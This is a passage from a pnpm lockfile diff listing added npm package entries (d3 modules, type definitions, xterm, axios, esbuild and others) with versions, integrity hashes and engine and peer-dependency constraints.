sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==} + + '@types/d3-interpolate@3.0.4': + resolution: {integrity: sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==} + + '@types/d3-path@3.1.1': + resolution: {integrity: sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==} + + '@types/d3-scale@4.0.9': + resolution: {integrity: sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==} + + '@types/d3-shape@3.1.8': + resolution: {integrity: sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==} + + '@types/d3-time@3.0.4': + resolution: {integrity: sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==} + + '@types/d3-timer@3.0.2': + resolution: {integrity: sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/geojson@7946.0.16': + resolution: {integrity: sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==} + + '@types/leaflet@1.9.21': + resolution: {integrity: sha512-TbAd9DaPGSnzp6QvtYngntMZgcRk+igFELwR2N99XZn7RXUdKgsXMR+28bUO0rPsWp8MIu/f47luLIQuSLYv/w==} + + '@types/node@25.6.0': + resolution: {integrity: sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ==} + + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.2.14': + resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} + + '@vitejs/plugin-react@4.7.0': + resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + + '@xterm/addon-fit@0.10.0': + resolution: {integrity: sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==} + peerDependencies: + '@xterm/xterm': ^5.0.0 + + '@xterm/xterm@5.5.0': + resolution: {integrity: sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==} + + ajv@8.18.0: + resolution: {integrity: sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + astral-regex@2.0.0: + resolution: {integrity: sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==} + engines: {node: '>=8'} + + asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + axios@1.15.0: + resolution: {integrity: sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==} + + baseline-browser-mapping@2.10.19: + resolution: {integrity: sha512-qCkNLi2sfBOn8XhZQ0FXsT1Ki/Yo5P90hrkRamVFRS7/KV9hpfA4HkoWNU152+8w0zPjnxo5psx5NL3PSGgv5g==} + engines: {node: '>=6.0.0'} + hasBin: true + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + browserslist@4.28.2: + resolution: {integrity: sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + cacheable@2.3.4: + resolution: {integrity: sha512-djgxybDbw9fL/ZWMI3+CE8ZilNxcwFkVtDc1gJ+IlOSSWkSMPQabhV/XCHTQ6pwwN6aivXPZ43omTooZiX06Ew==} + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caniuse-lite@1.0.30001788: + resolution: {integrity: sha512-6q8HFp+lOQtcf7wBK+uEenxymVWkGKkjFpCvw5W25cmMwEDU45p1xQFBQv8JDlMMry7eNxyBaR+qxgmTUZkIRQ==} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + colord@2.9.3: + resolution: {integrity: sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cookie@1.1.1: + resolution: {integrity: sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==} + engines: {node: '>=18'} + + cosmiconfig@9.0.1: + resolution: {integrity: sha512-hr4ihw+DBqcvrsEDioRO31Z17x71pUYoNe/4h6Z0wB72p7MU7/9gH8Q3s12NFhHPfYBBOV3qyfUxmr/Yn3shnQ==} + engines: {node: '>=14'} + peerDependencies: + typescript: '>=4.9.5' + peerDependenciesMeta: + typescript: + optional: true + + css-functions-list@3.3.3: + resolution: {integrity: sha512-8HFEBPKhOpJPEPu70wJJetjKta86Gw9+CCyCnB3sui2qQfOvRyqBy4IKLKKAwdMpWb2lHXWk9Wb4Z6AmaUT1Pg==} + engines: {node: '>=12'} + + css-tree@3.2.1: + resolution: {integrity: sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + d3-array@3.2.4: + resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==} + engines: {node: '>=12'} + + d3-color@3.1.0: + resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==} + engines: {node: '>=12'} + + d3-ease@3.0.1: + resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==} + engines: {node: '>=12'} + + d3-format@3.1.2: + resolution: {integrity: sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==} + engines: {node: '>=12'} + + d3-interpolate@3.0.1: + resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==} + engines: {node: '>=12'} + + d3-path@3.1.0: + resolution: {integrity: sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==} + engines: {node: '>=12'} + + d3-scale@4.0.2: + resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==} + engines: {node: '>=12'} + + d3-shape@3.2.0: + resolution: {integrity: sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==} + engines: {node: '>=12'} + + d3-time-format@4.1.0: + resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==} + engines: {node: '>=12'} + + d3-time@3.1.0: + resolution: {integrity: sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==} + engines: {node: '>=12'} + + d3-timer@3.0.1: + resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==} + engines: {node: '>=12'} + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decimal.js-light@2.5.1: + resolution: {integrity: sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + dom-helpers@5.2.1: + resolution: {integrity: sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + electron-to-chromium@1.5.338: + resolution: {integrity: sha512-KVQQ3xko9/coDX3qXLUEEbqkKT8L+1DyAovrtu0Khtrt9wjSZ+7CZV4GVzxFy9Oe1NbrIU1oVXCwHJruIA1PNg==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + env-paths@2.2.1: + resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==} + engines: {node: '>=6'} + + error-ex@1.3.4: + resolution: {integrity: sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + esbuild@0.25.12: + resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==} + engines: {node: '>=18'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + eventemitter3@4.0.7: + resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-equals@5.4.0: + resolution: {integrity: sha512-jt2DW/aNFNwke7AUd+Z+e6pz39KO5rzdbbFCg2sGafS4mk13MI7Z8O5z9cADNn5lhGODIgLwug6TZO2ctf7kcw==} + engines: {node: '>=6.0.0'} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-uri@3.1.0: + resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + + fastest-levenshtein@1.0.16: + resolution: {integrity: sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==} + engines: {node: '>= 4.9.1'} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@11.1.2: + resolution: {integrity: sha512-N2WFfK12gmrK1c1GXOqiAJ1tc5YE+R53zvQ+t5P8S5XhnmKYVB5eZEiLNZKDSmoG8wqqbF9EXYBBW/nef19log==} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + flat-cache@6.1.22: + resolution: {integrity: sha512-N2dnzVJIphnNsjHcrxGW7DePckJ6haPrSFqpsBUhHYgwtKGVq4JrBGielEGD2fCVnsGm1zlBVZ8wGhkyuetgug==} + + flatted@3.4.2: + resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==} + + follow-redirects@1.16.0: + resolution: {integrity: sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + form-data@4.0.5: + resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} + engines: {node: '>= 6'} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-east-asian-width@1.5.0: + resolution: {integrity: sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA==} + engines: {node: '>=18'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + global-modules@2.0.0: + resolution: {integrity: sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==} + engines: {node: '>=6'} + + global-prefix@3.0.0: + resolution: {integrity: sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==} + engines: {node: '>=6'} + + globby@16.2.0: + resolution: {integrity: sha512-QrJia2qDf5BB/V6HYlDTs0I0lBahyjLzpGQg3KT7FnCdTonAyPy2RtY802m2k4ALx6Dp752f82WsOczEVr3l6Q==} + engines: {node: '>=20'} + + globjoin@0.1.4: + resolution: {integrity: sha512-xYfnw62CKG8nLkZBfWbhWwDw02CHty86jfPcc2cr3ZfeuK9ysoVPPEUxf21bAD/rWAgk52SuBrLJlefNy8mvFg==} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + has-flag@5.0.1: + resolution: {integrity: sha512-CsNUt5x9LUdx6hnk/E2SZLsDyvfqANZSUq4+D3D8RzDJ2M+HDTIkF60ibS1vHaK55vzgiZw1bEPFG9yH7l33wA==} + engines: {node: '>=12'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hashery@1.5.1: + resolution: {integrity: sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==} + engines: {node: '>=20'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + hookified@1.15.1: + resolution: {integrity: sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==} + + hookified@2.1.1: + resolution: {integrity: sha512-AHb76R16GB5EsPBE2J7Ko5kiEyXwviB9P5SMrAKcuAu4vJPZttViAbj9+tZeaQE5zjDme+1vcHP78Yj/WoAveA==} + + html-tags@5.1.0: + resolution: {integrity: sha512-n6l5uca7/y5joxZ3LUePhzmBFUJ+U2YWzhMa8XUTecSeSlQiZdF5XAd/Q3/WUl0VsXgUwWi8I7CNIwdI5WN1SQ==} + engines: {node: '>=20.10'} + + ignore@7.0.5: + resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==} + engines: {node: '>= 4'} + + immutable@5.1.5: + resolution: {integrity: sha512-t7xcm2siw+hlUM68I+UEOK+z84RzmN59as9DZ7P1l0994DKUWV7UXBMQZVxaoMSRQ+PBZbHCOoBt7a2wxOMt+A==} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + import-meta-resolve@4.2.0: + resolution: {integrity: sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==} + + ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + + internmap@2.0.3: + resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==} + engines: {node: '>=12'} + + is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-path-inside@4.0.0: + resolution: {integrity: sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA==} + engines: {node: '>=12'} + + is-plain-object@5.0.0: + resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} + engines: {node: '>=0.10.0'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + 